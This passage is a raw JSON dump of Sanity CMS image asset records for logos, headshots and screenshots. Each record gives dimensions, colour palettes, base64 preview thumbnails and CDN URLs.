jM0qajjijmNnVFVtx1LjzpdTyUFEboqy1teyeKPh//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#513427","foreground":"#fff","population":3.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e0404","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c79d8b","foreground":"#000","population":10.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c79d8b","foreground":"#000","population":10.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebbeaa","foreground":"#000","population":6.88,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a17b6c","foreground":"#fff","population":9.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c28472","foreground":"#fff","population":1.31,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ana-vasiliuk.jpg","path":"images/sczeoy4w/production/802570dd8ca20bf445a1473374027fc3eeb1be4b-800x1200.jpg","sha1hash":"802570dd8ca20bf445a1473374027fc3eeb1be4b","size":161983,"uploadId":"POFS5L2GrtW4LAQv0gMlOVcgecYz8k9i","url":"https://cdn.sanity.io/images/sczeoy4w/production/802570dd8ca20bf445a1473374027fc3eeb1be4b-800x1200.jpg"} {"_createdAt":"2024-04-09T11:39:28Z","_id":"image-804f7c25a5a176ad0d9ce387948268bbba8637c9-1595x1829-jpg","_rev":"49aUeDhGkPDKmeMlVG1vrV","_type":"sanity.imageAsset","_updatedAt":"2024-04-09T11:39:28Z","assetId":"804f7c25a5a176ad0d9ce387948268bbba8637c9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eiJ@wRRO?vD$?G~Wt3g3aeM{x]WBRPRjIoX8ays.t7R*t7WCe.fkWW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8720612356478951,"height":1829,"width":1595},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAXABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAYHCAQF/8QAJhAAAQQBAwQBBQAAAAAAAAAAAQIDBAUABhESByFBcRQVMTJCUf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCA//EAB0RAAICAwADAAAAAAAAAAAAAAABAhEDEjETIWH/2gAMAwEAAhEDEQA/ALWtrwUeknpSAXJDzoaa7bnkrzlb3mqbHS1xVWDT0tyI4tKZSJH2Vv5H8zwuvup5FazTwIW6GmnPkKUD+Sx4yDdQNWSbaoqgWlMsrSHCCrfkRhMeOdwrjGQcPHPbpt+I6iTFZfa2KHEBY9EYyN9N7Ruw0NSyEr35Rkg+wNsYz0DaMf3zU/XGqYdUyoc0njutXYEnuc4OpbKIV4zTMnk3XNpY3P7K8nGMrGufEVJ1aNX9LT9I0FURNgopZCifffGMYVydm2iP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#724a3b","foreground":"#fff","population":6.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06041d","foreground":"#fff","population":2.85,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#baa178","foreground":"#000","population":8.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cec4a4","foreground":"#000","population":6.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eea77c","foreground":"#000","population":3.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#baa178","foreground":"#000","population":8.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af704b","foreground":"#fff","population":3.13,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Headshot.jpg","path":"images/sczeoy4w/production/804f7c25a5a176ad0d9ce387948268bbba8637c9-1595x1829.jpg","sha1hash":"804f7c25a5a176ad0d9ce387948268bbba8637c9","size":1115862,"uploadId":"hjyvDgvkot1CTwWCHlsh3CzWV93xKrIu","url":"https://cdn.sanity.io/images/sczeoy4w/production/804f7c25a5a176ad0d9ce387948268bbba8637c9-1595x1829.jpg"} {"_createdAt":"2023-12-06T17:30:44Z","_id":"image-8087fc1ef673e050ced7b134d6a379b7a447a0cc-1999x916-png","_rev":"LDCVHimI6r4jzwxT3KLMjR","_type":"sanity.imageAsset","_updatedAt":"2023-12-06T17:30:44Z","assetId":"8087fc1ef673e050ced7b134d6a379b7a447a0cc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5SY{rx^8|-;M|~Xou8{%LIVVtxsMyxtRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.182314410480349,"height":916,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABfUlEQVQokWWR26oUMRBF+///7oCC4vNRnJm2J6lrKpctlfEI4kNIqjqsWjt9nO/fcd4eIBKIGJgNqg3ugYiOMQbmnP+u7LWGrgYnxv3HE9++nvj25YHjcb9w/aoblNDn83VurSP6/8C1FlbuY2BFbOjP9yc+vd3w+e2G43FWXBe/zETBzFCzbdd7rrH3FrEHfEBzz2HRAlQU9xvhvDOO8yx4PnnHdRUoEzij/Imb4BwgqnD33RtjorUGM4OZ737W+e24ropaBaoOUwXVikIKa7EtEsgiqERQtb/WeSZKEdnAiHgBa5WVcc3aMvNFJKtUW+Z9zTlX730xy6pES0RXROyequ0eiyx3XxH7Pg4Rz7+6zCKhIDLUmjFe75VGIrptmAXe2rZJw/3eqjtu3kuBI2GqCYttyKSD2Ie3Puaco/cxVG0Q8WCW4e4jIoaZ7VrNRmsv621oCXzZLVMKposrS7EWdc5Zeu+FRUqptTBLcW+ltSiqVrM2M46I+AD+BpIUuth5BNyGAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464548","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#333e88","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e5be50","foreground":"#000","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#98cca4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8799fa","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#67699d","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5be50","foreground":"#000","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8087fc1ef673e050ced7b134d6a379b7a447a0cc-1999x916.png","path":"images/sczeoy4w/production/8087fc1ef673e050ced7b134d6a379b7a447a0cc-1999x916.png","sha1hash":"8087fc1ef673e050ced7b134d6a379b7a447a0cc","size":415679,"uploadId":"ZnvcAfqNvPHgvTU0UT5IGPSVIo8C5dIY","url":"https://cdn.sanity.io/images/sczeoy4w/production/8087fc1ef673e050ced7b134d6a379b7a447a0cc-1999x916.png"} {"_createdAt":"2022-06-15T20:02:11Z","_id":"image-80bbdffed57edcc24dcf391c6a22b4d02a4c1dc6-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEct6X","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:44Z","assetId":"80bbdffed57edcc24dcf391c6a22b4d02a4c1dc6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOQl:+.9x^D%%0T#RjadjYxu-qI9Rj%LIp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC+klEQVQokTXQy28bZRQF8Pk/kVgBKzawAclpRSoRaqAqolGrxEpL3CTUjm01vERMCqGEENd2XI+fMx7P+DHP77vfPDxjN02ae5GLWPykszo6OtJowj5WtemjTk8vtrvD/Z4yKvTVcWEwtPKWE+wwSB7yJTHPMkhyHpsVPEcU3alXspyg6PJkn4mkyCHZ5hDfkJTBdOtls69WqrJ/VnnJX9RkqNZb0GypMDE5Y5C4HAIXPM2zRjXebtVBbrZB1yZibAmw2IxzmAmASAcIi9LEhPzQcMRAM0nVpm8tsz5yyHZD4mJOAlyKrDKNm+v06w8ZOnh6QG25S6YN5LCAgPvkc4h8zo8kBskTBslyCTFIrhnE+D8OMYKYYxgALvgpTtpZzO98iw/u38fnx3+iMVSQWf3r0DMoYo4fMacscTHPcTHnXCTERYL/iQlghgARCvAxginGvIuGUsGd7ENa/WwVtzIZOvplj9r/PEKulSm2W0HiKGWJQ5zjEC9/oGUBQEiCByS4IJ8LCr0RRdNDgmGB1M4JFQoFWlv7gu58fZs2763Q7sZHWC2nifWzQTg+LEsAYU5AwP23P4jrgHMMmYchczFyTYzNM5wpd3H04gb+/ccelkol3NzM4MaDu7i98Qlur7+Hz/Y/JKP+eWANcmUpYCwXeB4LPJdCz7mOPAtnnomxN8XEUjAZHqAvf4q1n9/Fx5mbmN3+Dr/f28VC7jE+L2+h/Ned61FtjZzePX+sln6TZmMt7xsq8JFKgTmkxDFo7uq0cIa0MLuU6EfE219Rs/wB/bi7QodPd+n02U8kn/1OjlahC1alK3ZC4eQ40rWTYylRGuuiUzu3e+djMDr63FaNC0c1Luy+8drqaotxVQkHeYXL3yhmPavY8pEC/VMlGZ0rV25XITEYIOuPFmazZeuNJ9LCaL0zGzZvBrr8ZTzppC/sXvq13Utf2p3bV1b71qXZXHk1qaQuJycpnJ6l0KylyKynyGqk0GqsoNW4hWY9/WZaW301qb3/L7ep7OMVlJRlAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a354d","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#574c0e","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6cc12","foreground":"#000","population":4.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c39a9a","foreground":"#000","population":0.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92e3de","foreground":"#000","population":0.12,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#596e94","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6cc12","foreground":"#000","population":4.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"80bbdffed57edcc24dcf391c6a22b4d02a4c1dc6-1567x844.png","path":"images/sczeoy4w/production/80bbdffed57edcc24dcf391c6a22b4d02a4c1dc6-1567x844.png","sha1hash":"80bbdffed57edcc24dcf391c6a22b4d02a4c1dc6","size":357604,"uploadId":"Lao02vvEdfwkRiWyPTUNEEccHhAQpNl7","url":"https://cdn.sanity.io/images/sczeoy4w/production/80bbdffed57edcc24dcf391c6a22b4d02a4c1dc6-1567x844.png"} {"_createdAt":"2022-06-15T20:01:46Z","_id":"image-80d8602d05b7a493c00543138b77075017e5ce6f-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEbMUQ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:32Z","assetId":"80d8602d05b7a493c00543138b77075017e5ce6f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M67^}WV@~qDiWB-;4n?bRjt7009FWBoft7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB3klEQVQokX3RS6viMBQH8DZNk5Smjb1YvRJt66OigtbXTrxjfaC13oUgirpyp1vduXEnCH4C8cMOVhiGGWZ+qwTy5+ScI0BRRJKEZBlCGQAg/AMAQNd1zrlt267rlstlzrnACOYfBk8mDeMDISSK4t9JURQJIbZtDwaD3W53Op2Ox+N6vRY+jVjNdRu1WjaX0zQNACBGfg9LksQYc113Op1eLpfn8/l4PO73u/CZSLRbzR9fX612m3P+Lv4HCCFjLJVKNZvNw+Fwu92u1+v5fBYymUzP92ff35PJxPM8xhjGmBCCEJIkCUJICNF1PRaLaZqWTqfDMNzv96vVqtvtCvl8PgiCRcT3/XK5XKlUPM8rFAqmaTLG0ul0rVYrFouUUsZYo9Hwfb9UKhmGITiOMxwOF4vFZrNZLpdhGM7n8+12GwRBtVpNpVKO43Q6nVarxRhTFMWyrFwuq+s6hFCIx+P1er3X643H4yAIfN/v9/uz2Ww0GtXr9eRrC4Zt25xzQgjG2DTNRMLEGL/2Sim1LKtYLJYihcj789ls9j0CVVUVRQEAQAij/hlC6BWWZVlVVU3TaERVVUqppmm6rlNKEUIQQozx+zUAAGOsKAqEUJKkV/g/YOR9kCK/rrIs/wQZA0xxX4mMpQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#703430","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#541510","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bbbcbc","foreground":"#000","population":0.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbcbc","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4847c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a85c54","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a23e3a","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"80d8602d05b7a493c00543138b77075017e5ce6f-752x405.png","path":"images/sczeoy4w/production/80d8602d05b7a493c00543138b77075017e5ce6f-752x405.png","sha1hash":"80d8602d05b7a493c00543138b77075017e5ce6f","size":71695,"uploadId":"MvWeI88SA717srNdmM4s5SjgrPQg5XT3","url":"https://cdn.sanity.io/images/sczeoy4w/production/80d8602d05b7a493c00543138b77075017e5ce6f-752x405.png"} {"_createdAt":"2022-06-15T20:02:29Z","_id":"image-80e0b16f83593da58b55e9b0b73315cc83d392e9-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdaza","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:54Z","assetId":"80e0b16f83593da58b55e9b0b73315cc83d392e9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQP$:s.TxuIW-T5vt3w@M~tm-;IAnNS$kD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADPElEQVQokR3G7W8TdRwA8PtvfOdfoIkvxPiChIi+MBI1JqKShZCYSKZDFFFDF4PJgCFhMsce+rAngRW2bvQ61tLSdu1W2939rtd7anvXu/vdXdeHpeva79eEF5/kw1Rk/VtS1qY5ooRKB5WZEic94IgyzQvqvCjVF2u6s2TZ7aWG3V16xblLo38ln7z58W321Fd3IysbuysNVV1sKNKyoVszFm3/yOT2uL93Ehkh9iLlRNlE4zmbMNjYy0aUTVjxl1laKJZpRa7TskJpOOPQ7+dU5/RYtHn2O78XCDyiteiUTZ7dc/LJuCTLtWVmr8CHduJph91OYmw7iWwsic/ZBG5F4/hiJ42vMgXM7R1guqDiDOvgaMDFC3cJ/jCxjmuzk5i69Tk++uMbfByaO8zv5rYYRbMCgli1SFlDQawOSbkKvKACTxQgZfX1OV6C7H4F7j8V4fJDBW7M78NGOAwx/00Yv/TR8PfREXz6eNXlC/kIY9FO0KId26JttGgbXrNbYFmHUK3ZQMQaCkQAPhfFjScLOPXQj6sLU8hvTuK6fwK/+PQTuDRyAeObYc/TSISxnU7Qdto2pW2ktAUObaJLPbRNiqKoYXa3iIVkGNXoz1havYjs3Cim/ZdRiPyJwelbePbMafjsg/fw2eyE15Z2IwylzaBDPduxXXRtOvQsG5qWBY6hgyRUIJfJAIlNgLv2PmjBdyAxcx6yK9eBJAIw/2ASzp05BRc/fBu3pq55HX47wniWFfRM0/LMBjZNY3ho1qFl1qDV0MDWKqBxeTDTd6C3/hZ0lt8A4d/zUEysgELyEAsvwp2rI8Pl8RFUIvfdE3E7wrRUMeTKArUVAb1aBTuGjN2GhEdGBbt6GTvVAzwqr+Eg+TUONt/Fw/RvaKpFdC0DLZJGLR5CJxXEPh9pgprcZDokf9spZXM6l1OpXJK6uiD3DEHu6bx8rHNiXz8gJ9UMGXD/kEHuJ3JMFkjXliod11T7BieDmhRRSSiopQpQzcwyR/J/51qV/aueVBhvayVfT+d8xzrn6+ulG/168ZeTeuHKoL4/NtRSY0NpY2wgb105MvhfW3btZs/gfcNq9jpUMz6oZq9BLfvl/8NmyxrmVnA7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c5d3d","foreground":"#fff","population":0.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e2c5e","foreground":"#fff","population":1.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5a31d","foreground":"#000","population":7.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9bfc0","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e99ec","foreground":"#fff","population":3.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6494b4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5a31d","foreground":"#000","population":7.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"80e0b16f83593da58b55e9b0b73315cc83d392e9-1567x844.png","path":"images/sczeoy4w/production/80e0b16f83593da58b55e9b0b73315cc83d392e9-1567x844.png","sha1hash":"80e0b16f83593da58b55e9b0b73315cc83d392e9","size":307576,"uploadId":"D1HxnhJW9irWjmWkWkWy0bSVm8eeJwvr","url":"https://cdn.sanity.io/images/sczeoy4w/production/80e0b16f83593da58b55e9b0b73315cc83d392e9-1567x844.png"} {"_createdAt":"2022-06-16T22:53:51Z","_id":"image-80ec146062c1aac6037e3516a26f07e48d0b1338-1138x190-svg","_rev":"qkpX9b3U0TpOGFQp8fNyHR","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:51Z","assetId":"80ec146062c1aac6037e3516a26f07e48d0b1338","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4dCP9u0p}+5Y=s","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.989473684210527,"height":190,"width":1138},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAxklEQVQImTXOvWrCcAAE8FwW3+VCxUBBurn5AIKuKkJxyGUSF7+NXyQttEFrJ1EKurqki2/Sqa9hKEjk3+GWG353FqgzqDWoHqg5qIVJAGoGaghqAuoN1AuoZ9tRxXY0th3tHsvN1SUuDa6Ju0wTd2GBOoL6BHUAtQe1AjUF9WGAvgFDUFvwDnkW/Sj34L036rXez9fTKE3cLHEGRqC6oHYG/X/yCqoDqm1Gsj4GtbEdLS3681zei1rN6uT3VIz+vgthmrjBDTwwUFcJiStqAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242848","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042971","foreground":"#fff","population":22.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042971","foreground":"#fff","population":22.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bc9464","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8cd3f","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a3885b","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab80a","foreground":"#000","population":0.06,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"norauto-logo.svg","path":"images/sczeoy4w/production/80ec146062c1aac6037e3516a26f07e48d0b1338-1138x190.svg","sha1hash":"80ec146062c1aac6037e3516a26f07e48d0b1338","size":1900,"uploadId":"mnoFnzitCXTLgU8rFQUpX2WfYO8AXw0n","url":"https://cdn.sanity.io/images/sczeoy4w/production/80ec146062c1aac6037e3516a26f07e48d0b1338-1138x190.svg"} {"_createdAt":"2022-06-16T22:54:04Z","_id":"image-80ee99c3bc7447d7dbf715cc62d8086e25067fb1-296x88-jpg","_rev":"qkpX9b3U0TpOGFQp8fO11M","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:04Z","assetId":"80ee99c3bc7447d7dbf715cc62d8086e25067fb1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9Q9}~xu_3Rj9FD%~qM{xuxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.3636363636363638,"height":88,"width":296},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAGABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIEB//EACAQAAICAQQDAQAAAAAAAAAAAAECAAMEBQYRIRMUQVH/xAAVAQEBAAAAAAAAAAAAAAAAAAABAv/EABURAQEAAAAAAAAAAAAAAAAAAAAR/9oADAMBAAIRAxEAPwDb8WyrLf1kQ1ZygrfkJ0X6+GTx9u23WpS+oZS0g88LaeTESkr77PpZiRqGeB+eWIiFMf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b151d","foreground":"#fff","population":7.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0b151d","foreground":"#fff","population":7.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bec4c9","foreground":"#000","population":0.83,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcfcf4","foreground":"#000","population":0.59,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#898e92","foreground":"#fff","population":2.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4685b8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"logo-atlantic-labs.jpeg","path":"images/sczeoy4w/production/80ee99c3bc7447d7dbf715cc62d8086e25067fb1-296x88.jpg","sha1hash":"80ee99c3bc7447d7dbf715cc62d8086e25067fb1","size":6010,"uploadId":"GqMQUN6QjjjtAJ7mjZESZCru2Ns1rJqH","url":"https://cdn.sanity.io/images/sczeoy4w/production/80ee99c3bc7447d7dbf715cc62d8086e25067fb1-296x88.jpg"} {"_createdAt":"2023-02-07T12:55:11Z","_id":"image-811f0861c3b11ead5ec5b2a68ec86f25acf1bba4-1101x535-png","_rev":"iop8tFFqgfe67JrEbjhvBN","_type":"sanity.imageAsset","_updatedAt":"2023-02-07T12:55:11Z","assetId":"811f0861c3b11ead5ec5b2a68ec86f25acf1bba4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9Ss50sAIAn,D%~qR+S3W=tRxuj=t6adjX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0579439252336447,"height":535,"width":1101},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABQElEQVQokV1Q2Y7bMAzU//9f+7TYdoEWRZzYunhTchaUU/SYJ4LEHJz0eDy2wL3W6u7Pf3Ge55znnPM8z/9Oz+czMTMRMbOZzT84L8w53YeZjzEuob+RGjKz+G+mu6uZ+7gMxwiymquGgIeQuYeWmaf3X3XfGwO4a6zUQkxiHmPogqgBUmzViAgxDBEpffk4blvGWk1ouJsaIhLRCB8HiFlUcb2mqr331hoiAmB6+3jct4NqVoLItMiI5O5mMTNzpFwws94BEVWViNLP7/e8Hdzby9kiGFGQ3f1ym/NV9RhDRNZlLPLbrdwOJjDXMSOqBFTNRGX9qe5R1VX7qtNXfkjH+7d+2wi6mlzBRJRZOkBupfTWOkAkvQKt15kBoJSaZPuK+4/WMvEratQr0nvfy7GXfORSautLYlGFiFvrOZdPpPNEKC4udLgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c3064","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#124c7a","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c0aeb7","foreground":"#000","population":0.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0aeb7","foreground":"#000","population":0.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcacdc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a65f88","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2ce53","foreground":"#000","population":0.13,"title":"#000"}}},"mimeType":"image/png","originalFilename":"811f0861c3b11ead5ec5b2a68ec86f25acf1bba4-1101x535.png","path":"images/sczeoy4w/production/811f0861c3b11ead5ec5b2a68ec86f25acf1bba4-1101x535.png","sha1hash":"811f0861c3b11ead5ec5b2a68ec86f25acf1bba4","size":117238,"uploadId":"1nLVUIVdlBq0DS5qIKXnunlhfqfC5NLi","url":"https://cdn.sanity.io/images/sczeoy4w/production/811f0861c3b11ead5ec5b2a68ec86f25acf1bba4-1101x535.png"} {"_createdAt":"2022-06-30T19:59:05Z","_id":"image-8125d2671b7375feae6bf00ee49e8b610b0f0dfd-923x335-png","_rev":"QRl2cGoCgj0FlAhkRrhvVa","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:17Z","assetId":"8125d2671b7375feae6bf00ee49e8b610b0f0dfd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DHQJZY=,PD%{NM_NM}xWjdjq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.755223880597015,"height":335,"width":923},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABh0lEQVQYlSXLW2+aUAAAYP5+/8Cave1hXRrXZb2kKk5BC9QAcimgKHgAq8BRhHKzcvHAsiz5Xj/sgur6UtWoRg3K0nS11EVRlGRV0eaKOtd13fe9c1FWqC0vTYmaCjU1av/DjvkeJv4hhVmRnELXUyhLEwCwbMexzeX7Gx0BOU0TN6uduHaTCqaFn1y8uPWSFpMdQbIFbTvb7tV4zWT0t+P8xQKmYZo+UOPpbcbf+d5G2HxMdMibjgZW3CKcSIhSWoycDRmVklYDw3jYcTdR92rH/qZeyN4A14XJkfgSENdrQ6M055GSyOkfgb/DR4vb++pXr8EYmeIXrGYSwHxy+R9h98phfhIj/Om5q/Ljw+g6IL/+ywp4IDmSeRbZ772+etMpO48NZkEAfHOzXwahkb8LOdexOZymxgQ5novTaHZ/1voHuFVsSCtrWZeNFcMK7mCCiNcWO1fnU5F/lnlVF6hITnC9fONHw2G/j7OvdGBpKHaL4vOYFd7HKYjTKI5gWGxhuzu0fwF6BGW1VleRxwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b2e2d","foreground":"#fff","population":3.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.i